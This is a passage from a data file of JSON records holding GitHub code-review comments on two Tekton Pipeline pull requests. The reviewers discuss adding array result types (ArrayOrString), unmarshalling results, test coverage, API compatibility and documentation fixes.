"pipeline"} +{"author": "chuangw6", "body": "sgtm! Thanks for adding the comment. @wlynch ", "comment_id": 869568663, "created_at": "2022-05-10T18:37:32Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Done!! Thanks @wlynch.", "comment_id": 869579634, "created_at": "2022-05-10T18:50:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "dibyom", "body": "Please use TODO(IssueNumber) or at leastTODO(@chuangw6 ) for the TODO", "comment_id": 870548683, "created_at": "2022-05-11T16:57:30Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "dibyom", "body": "Looks like we are going to rename the struct based on the next resolved comment - any reason to not do it in this PR itself?", "comment_id": 870550133, "created_at": "2022-05-11T16:59:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "dibyom", "body": "Update TODO to reference a GH issue or username", "comment_id": 870568351, "created_at": "2022-05-11T17:21:09Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "dibyom", "body": "Same as above", "comment_id": 870568582, "created_at": "2022-05-11T17:21:25Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Looks like we are going to rename the struct based on the next resolved comment - any reason to not do it in this PR itself?\r\n\r\nI think @ywluogg has sent a headsup email to the community asking for inputs. So we think it might be better to do this a bit later to make sure this rename (or creating new struct) doesn't break others who are using the old struct name.\r\n", "comment_id": 870605250, "created_at": "2022-05-11T18:03:56Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "done! Thanks @dibyom ", "comment_id": 870620046, "created_at": "2022-05-11T18:19:05Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "done! thanks @dibyom ", "comment_id": 870620359, "created_at": "2022-05-11T18:19:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "dibyom", "body": "Ok that's fine", "comment_id": 870640130, "created_at": "2022-05-11T18:44:19Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> I think @ywluogg has sent a headsup email to the community asking for inputs. So we think it might be better to do this a bit later to make sure this rename (or creating new struct) doesn't break others who are using the old struct name.\r\n\r\nI created this [issue](https://github.com/tektoncd/pipeline/issues/4858) for following up the issue\r\n", "comment_id": 870757729, "created_at": "2022-05-11T21:10:05Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "As suggested by @ywluogg , we can also to this to separate the usage of result value and other value, since in other cases there is no need to support array. \r\n```suggestion\r\n\tValue String `json:\"value\"`\r\n\tResultValue *ArrayOrString `json:\"resultValue,omitempty\"`\r\n\tResourceName string `json:\"resourceName,omitempty\"`\r\n```\r\n\r\nI'd like to provide this solution first and see how other ppl think of this", "comment_id": 863084070, "created_at": "2022-05-02T18:32:40Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Option 1: Change Value type from String to ArrayOrString\r\nPro: backwards compatible without reducing termination msg limit\r\nCon: In some other places we only need String and doesn\u2019t necessarily need to use ArrayOrString\r\n\r\nOption 2: Add a new field `ResultValue *ArrayOrString`\r\nPro: Separate the usage of emitting results (where we need array) and other data(where we may only need string) to termination path\r\nCon: reduce the available termination msg size; May also introduce confusion for development", "comment_id": 863089086, "created_at": "2022-05-02T18:39:57Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is for better unit testing. Without this I think we cannot create \"tekton/results\" dir to emit results", "comment_id": 863193264, "created_at": "2022-05-02T21:10:18Z", "line": 195, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you also error out at default case?", "comment_id": 863812457, "created_at": "2022-05-03T14:01:17Z", "line": 171, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you add a empty case, and a case not starting with `\"` or `[`?", "comment_id": 863816940, "created_at": "2022-05-03T14:05:45Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "This looks like a API change to me. It seems like we need to follow https://github.com/tektoncd/pipeline/blob/main/api_compatibility_policy.md#alpha-beta-and-ga for adding new feature and deprecation rules. Pinging @[dibyom](https://github.com/dibyom) for confirmation. This is a field that users can specify. I think we should add a separate field for the new ArrayOrString and implement on the new field", "comment_id": 863851337, "created_at": "2022-05-03T14:37:48Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It is a change, but it won't have effect on users or introduce breaking changes. And our TEP[0076](https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md) requires us to change this `Value` I believe? ", "comment_id": 863863173, "created_at": "2022-05-03T14:48:59Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "For error and other cases, I use this code as default handling, use a default case will be duplicated \r\n\r\n```\r\n\tarrayOrString.Type = ParamTypeString\r\n\tarrayOrString.StringVal = string(value)\r\n\tarrayOrString.ArrayVal = nil\r\n```", "comment_id": 863875353, "created_at": "2022-05-03T15:00:41Z", "line": 171, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "For empty case you mean this one?\r\n```\r\n\"{\\\"val\\\": }\",\r\n```\r\n\r\n123 is a case starting with '1' not `\"` or `[`", "comment_id": 863876584, "created_at": "2022-05-03T15:01:50Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "We came to a conclusion that this won't be breaking the API change policy. However, we definitely are blocked by the design about whether we want to have a brand new struct on this or just rename StringOrArray.", "comment_id": 864200038, "created_at": "2022-05-03T20:24:40Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ok but it doesn't block this PR right, I'm still using StringOrArray. We need to figure out that in Chuang's", "comment_id": 864208046, "created_at": "2022-05-03T20:27:54Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "> \"{\\\"val\\\": }\",\r\n\r\nYeah. Is it testable?\r\n\r\n> 123 is a case starting with '1' not \" or [\r\n\r\nAh I missed this test case. Nice!", "comment_id": 864239824, "created_at": "2022-05-03T20:45:50Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It will through error and it is expected. Since json won't unmarshal this right? I can add a test to assert error if that is necessary", "comment_id": 864249700, "created_at": "2022-05-03T20:48:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "You can make the new code into a module like `ReadArrayFromFile()`, and just write unit tests on that function", "comment_id": 864265610, "created_at": "2022-05-03T21:12:06Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Is it used to avoid changing the signature that I added for `readResultsFromDisk`? I think one advantage of that is we can improve the test coverage and I have already added unit tests for that func and cover this code", "comment_id": 864271763, "created_at": "2022-05-03T21:22:14Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ok ", "comment_id": 864275488, "created_at": "2022-05-03T21:28:22Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "> It will through error and it is expected. Since json won't unmarshal this right? I can add a test to assert error if that is necessary\r\n\r\nYeah a test for an assert error would be good.", "comment_id": 864277166, "created_at": "2022-05-03T21:31:18Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah NVM my previous comment is a bit misleading as this is not related to the change in result_types.go. I wanted to see a way to restructure the PR so that all the changes made here is independent of those in result_types.go. Closing this one", "comment_id": 864279260, "created_at": "2022-05-03T21:34:56Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "This thread can be closed, as we confirmed that this won't be blocked by introducing a new struct for ArrayOrString, and this is not a API change. ", "comment_id": 865228681, "created_at": "2022-05-04T19:38:41Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure", "comment_id": 865248080, "created_at": "2022-05-04T19:45:33Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I'm adding a test to assert error", "comment_id": 865248704, "created_at": "2022-05-04T19:45:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Curious that if you are deprecating Value field? I think these are cases for Value field. Maybe you should add new sets of test cases for ResultValue?", "comment_id": 865251567, "created_at": "2022-05-04T19:47:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe worth adding some new description", "comment_id": 865254457, "created_at": "2022-05-04T19:48:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Nice test additions!", "comment_id": 865256972, "created_at": "2022-05-04T19:49:50Z", "line": 255, "path": "pkg/entrypoint/entrypointer_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "```suggestion\r\n\t\tdesc: \"read string and array result files\",\r\n```", "comment_id": 865259398, "created_at": "2022-05-04T19:50:55Z", "line": null, "path": "pkg/entrypoint/entrypointer_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "```suggestion\r\n\t\tdesc: \"read string result file\",\r\n```", "comment_id": 865260298, "created_at": "2022-05-04T19:51:19Z", "line": null, "path": "pkg/entrypoint/entrypointer_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Same here - you can just add several new test cases for resultValue rather than changing old unit tests", "comment_id": 865264924, "created_at": "2022-05-04T19:52:43Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Seems like to me you can do:\r\n```\r\ntmp := &v1beta1.PipelineResourceResult{\r\n\t\t\tKey: resultFile,\r\n\t\t\tResultValue: v1beta1.ArrayOrString{},\r\n\t\t\tResultType: v1beta1.TaskRunResultType,\r\n}\r\n...\r\nif err := *tmp.ResultValue.UnmarshalJSON(fileContents); err != nil {\r\n\t\t\treturn err\r\n\t\t}\r\n...\r\noutput = append(output, *tmp)\r\n```\r\nThis makes it possible to set ResultValue to be ArrayOrString instead of *ArrayOrString\r\n", "comment_id": 865292747, "created_at": "2022-05-04T20:01:55Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think so, for the previous code we will do `string(fileContents)` for result data, assume user write an integer into the file, it will be read as string in the end.\r\n\r\nIf I want to use ArrayorString, since we don't support int, it will through error. So I suggest for any other type we don't support we just convert them into string (it will be the same as before). ", "comment_id": 865305611, "created_at": "2022-05-04T20:10:05Z", "line": 171, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "I see you explained in #4820. It makes sense to me. You can mark this as resolved.", "comment_id": 865305978, "created_at": "2022-05-04T20:10:26Z", "line": 171, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh yes you're right! My bad", "comment_id": 865308138, "created_at": "2022-05-04T20:12:46Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks for reminding!", "comment_id": 865309920, "created_at": "2022-05-04T20:14:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thx! \ud83d\ude04 ", "comment_id": 865314589, "created_at": "2022-05-04T20:17:02Z", "line": null, "path": "pkg/entrypoint/entrypointer_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is a bit different, for these test cases they are mixed of results message and other message. So the old cases need to be changed. But you're right I should add separate test cases", "comment_id": 865318632, "created_at": "2022-05-04T20:20:45Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "if that way, we still need to have pointer I think. There's no way to avoid *ArrayOrString. Another reason we need to use pointer for ResultValue is that we need to use omitempty for json marshalling, and only pointer can work\r\n```\r\ntmp := &v1beta1.PipelineResourceResult{\r\n\t\t\tKey: resultFile,\r\n\t\t\tResultValue: &v1beta1.ArrayOrString{},\r\n\t\t\tResultType: v1beta1.TaskRunResultType,\r\n}\r\n```", "comment_id": 865394516, "created_at": "2022-05-04T21:19:12Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So I take a look at these test cases again. It's testing InternalTektonResult and TaskRunResult, so for InternalTektonResult we will still use the original Value (type is string), for TaskRunResult we will use ArrayorString. \r\n\r\nI reformat the test cases and also add more cases as well.", "comment_id": 865417318, "created_at": "2022-05-04T21:54:54Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is a mismatching bug from github. I only added one line above", "comment_id": 866349533, "created_at": "2022-05-05T22:07:37Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "```suggestion\r\n\tif len(value) == 0 {\r\n```", "comment_id": 866359163, "created_at": "2022-05-05T22:27:58Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "This should be a value not a pointer. Same below", "comment_id": 866442609, "created_at": "2022-05-06T02:15:41Z", "line": 633, "path": "pkg/pod/status_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! I forgot to format the file", "comment_id": 866445846, "created_at": "2022-05-06T02:26:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "unit tests are passing, check this for last commit or all recent runs https://tekton-releases.appspot.com/build/tekton-prow/pr-logs/pull/tektoncd_pipeline/4818/pull-tekton-pipeline-unit-tests/1522392776887504899/\r\n\r\nI'm failing build tests because of linting. \ud83d\ude04 \r\n\r\nThis one is tricky because I'm using a func to create arrayorstring, it returns a pointer, so actually here is a value not pointer", "comment_id": 866446835, "created_at": "2022-05-06T02:29:57Z", "line": 633, "path": "pkg/pod/status_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "this means there is an error, we continue? Just to confirm here: you want to do if you can't unmarshall as array, you want to keep it as string? If so, should it be another else for setting it to be string?", "comment_id": 866975207, "created_at": "2022-05-06T16:09:27Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks for bring this up!\r\nMy original idea is that if we cannot unmarshal the r.Value into ArrayOrString (it can be string, array or object if Chuang's pr got merged), we just continue the for loop and don't throw error. We will add an empty ArrayOrString to the taskRunResult. \r\n\r\nIs it ok if I write it this way? \r\n```\r\naos.UnmarshalJSON([]byte(r.Value))\r\n```", "comment_id": 866990103, "created_at": "2022-05-06T16:29:17Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Or maybe log the error msg and doesn't break the loop", "comment_id": 866990686, "created_at": "2022-05-06T16:30:09Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "I realized the errors didn't get thrown here. This should be `err != nil` then `return nil`", "comment_id": 867012467, "created_at": "2022-05-06T16:59:45Z", "line": 160, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah I see. I think we need to collect the errors here using `multierror.Error`. Otherwise users wouldn't know which results have issues unmarshalling", "comment_id": 867013715, "created_at": "2022-05-06T17:01:20Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "The reason I did this is because for case like nested lists or lists using not string element, the UnmarshalJson won't work.\r\nLike `[1,2,3]` with int elements, but I think we should Unmarshal it into a whole string. So if we encountered err when trying to unmarshal to array, we will continue and unmarshal it to a string. \r\n\r\nI agree this part of code is not writing very well. ", "comment_id": 867029163, "created_at": "2022-05-06T17:23:00Z", "line": 160, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah I see. Then this should be fine. We will capture the type mismatch when you validate the results against PropertiesSpec. So it definitely worths adding more comments here and in `filterResultsAndResources()` to explain the details", "comment_id": 867036543, "created_at": "2022-05-06T17:33:54Z", "line": 160, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Please see the other comment. You should definitely explain in details about handling cases about unmarshalling here", "comment_id": 867037130, "created_at": "2022-05-06T17:34:45Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Thanks for the suggestions!", "comment_id": 867040156, "created_at": "2022-05-06T17:39:18Z", "line": 160, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah I see. This thread can be closed", "comment_id": 867185752, "created_at": "2022-05-06T20:08:38Z", "line": 633, "path": "pkg/pod/status_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you also mention something like this \"if the Type being set doesn't match what it actually should be, it will be captured somewhere else\"", "comment_id": 867187308, "created_at": "2022-05-06T20:11:18Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! You mean the validation of type (configured vs unmarshalled)? I guess that part also includes schema validation. Correct me if I'm wrong", "comment_id": 867188187, "created_at": "2022-05-06T20:12:59Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "ywluogg", "body": "> Sure! You mean the validation of type (configured vs unmarshalled)? I guess that part also includes schema validation. Correct me if I'm wrong\r\n\r\nYes that's correct, or like schema vs object. This way we would know if the unmarshalled type matches what we expect", "comment_id": 867190872, "created_at": "2022-05-06T20:17:57Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Got it!", "comment_id": 867196656, "created_at": "2022-05-06T20:28:33Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "dibyom", "body": "typo in Results", "comment_id": 872417907, "created_at": "2022-05-13T13:45:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 872442619, "created_at": "2022-05-13T14:09:00Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "In addition to the `Task`, please add an example `Pipeline`. The results are more of a communication means between two tasks (or pipelineTasks). The example are great way to share the usage of the new features.", "comment_id": 875159671, "created_at": "2022-05-17T18:49:52Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Hi @pritidesai, thanks for your comment! \r\nIn this PR array results passed between tasks are not implemented. This commit focuses on enabling emitting array results from entrypoint->controller. \r\nI'm planning to add it (also array indexing) as well as examples in the followup PR. \r\nOr should I add it in this PR? What do you think?", "comment_id": 875166418, "created_at": "2022-05-17T18:58:29Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Or maybe I should remove this example and add both examples for next pr?", "comment_id": 875168997, "created_at": "2022-05-17T19:01:46Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "Thank you @Yongxuanzhang for the explanation. \r\n\r\n> In this PR array results passed between tasks are not implemented. \r\n\r\nYou mean just the indexing is not supported in this PR or in general, the consumer will get an array result as a string value? I am trying to understand what happens when a consumer refers to such array result in a traditional way i.e. `$tasks.taskA.results.arrayResult`.\r\n", "comment_id": 875174635, "created_at": "2022-05-17T19:09:26Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So with this PR, if referred `$tasks.taskA.results.arrayResult` in params and it is an array, the users will get a string of `$tasks.taskA.results.arrayResult` not the array or the string format of the array. \r\n\r\nIt is also something related to this [issue](https://github.com/tektoncd/pipeline/issues/4879). \r\nThis is a bit tricky part and it would be better to be addressed in a separate PR. Since `$tasks.taskA.results.arrayResult` or `$tasks.taskA.results.arrayResult[*]` will be treated as `string` type in `ArrayOrString`.\r\n\r\nSo this PR only enables the Task level results array, not sure if this is a real case.", "comment_id": 875180114, "created_at": "2022-05-17T19:16:54Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I realized that the doc I added may be confusing as well, support emitting array results may let users think that they can pass array results between tasks within a pipeline, but it is not implemented in this PR.", "comment_id": 875182789, "created_at": "2022-05-17T19:20:24Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am sorry about this I am still catching up ...\r\n\r\nTrying to understand why is the error not reported here? \r\n\r\nHow are we preventing the users to specify array task results without `alpha` feature flag? Or is this something being addressed somewhere else? ", "comment_id": 875203449, "created_at": "2022-05-17T19:46:27Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure np! \r\nThis is an add-on feature of this function. It will include all the cases we support before and also support more cases like unmarshal integer/array of integer into string, and enable us to use `ArrayOrString` for results value\r\n\r\nSo array results is a new case, it is something we previously don't support.\r\nIf user specify array task results without alpha feature flag, this function will be unmarshalled to `array` but it will be converted to string here. So the behaviour won't change.\r\nhttps://github.com/tektoncd/pipeline/blob/0c008a0c0a6d979f65d281f69ea0c60df3d80169/pkg/entrypoint/entrypointer.go#L208-L211 ", "comment_id": 875209424, "created_at": "2022-05-17T19:54:30Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "> So this PR only enables the Task level results array, not sure if this is a real case.\r\n\r\nIt might be or might not be, we do not advice such usage but its not restricted either.", "comment_id": 875211789, "created_at": "2022-05-17T19:57:34Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Should I fix the readme to clarify this? @pritidesai ", "comment_id": 875231590, "created_at": "2022-05-17T20:23:47Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "this could be a little more robust example by introducing validation that `$(results.array-results.path)` matches the expected value ...", "comment_id": 875283196, "created_at": "2022-05-17T21:41:12Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! ", "comment_id": 875304987, "created_at": "2022-05-17T22:20:52Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "thank you @Yongxuanzhang for following up, we can drop this step from the doc. The purpose of this section is to share usage on how to emit/write a result as a list.", "comment_id": 875373251, "created_at": "2022-05-18T00:33:18Z", "line": null, "path": "docs/tasks.md", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "thank you @Yongxuanzhang I added comment \u2b06\ufe0f ", "comment_id": 875373400, "created_at": "2022-05-18T00:33:38Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure!", "comment_id": 875962274, "created_at": "2022-05-18T14:21:46Z", "line": null, "path": "docs/tasks.md", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I added some check, is it ok? ", "comment_id": 875963538, "created_at": "2022-05-18T14:22:46Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have added more clarification in the doc", "comment_id": 876033037, "created_at": "2022-05-18T15:19:32Z", "line": 1, "path": "examples/v1beta1/taskruns/alpha/emit-array-results.yaml", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "@ywluogg I made some new changes to this func, so we can fail fast if the alpha gate is not enabled", "comment_id": 877308689, "created_at": "2022-05-19T17:04:00Z", "line": 25, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "Would this impact parameters with no values? is it covered by alternate validation to make sure a required parameter is specified - please confirm that the parameter validation has a test to check for no empty value for required params.", "comment_id": 877590359, "created_at": "2022-05-19T22:33:28Z", "line": 149, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "thank you for adding comments \ud83d\ude4f \r\n\r\ntypo - s/tring/trying", "comment_id": 877590852, "created_at": "2022-05-19T22:34:33Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thank you!", "comment_id": 877591281, "created_at": "2022-05-19T22:35:30Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: instead of saying it is captured somewhere else, please be explicit about the validation routine which will capture this", "comment_id": 877592455, "created_at": "2022-05-19T22:38:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Could you point me to a case where parameters has no values?\r\nCorrect if I'm wrong, if the parameters has no values then it will be captured by validation check \r\nFor example, this won't work. And won't reach this function. This case is special for results since user can write custom data to result path and it could be empty\r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: TaskRun\r\nmetadata:\r\n name: validation-1\r\nspec:\r\n taskSpec:\r\n params:\r\n - name: foo\r\n type: string\r\n default:\r\n steps:\r\n - name: echo-params\r\n image: bash\r\n args:\r\n [\r\n \"echo\",\r\n \"$(params.foo)\"]\r\n```\r\n", "comment_id": 877596249, "created_at": "2022-05-19T22:46:48Z", "line": 149, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 877597250, "created_at": "2022-05-19T22:48:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So validation will check if the param is empty:\r\nhttps://github.com/tektoncd/pipeline/blob/7aef957effb55a519bba97c9d2c36a28482b35d4/pkg/reconciler/taskrun/validate_resources.go#L110-L121", "comment_id": 877602340, "created_at": "2022-05-19T23:01:16Z", "line": 149, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": 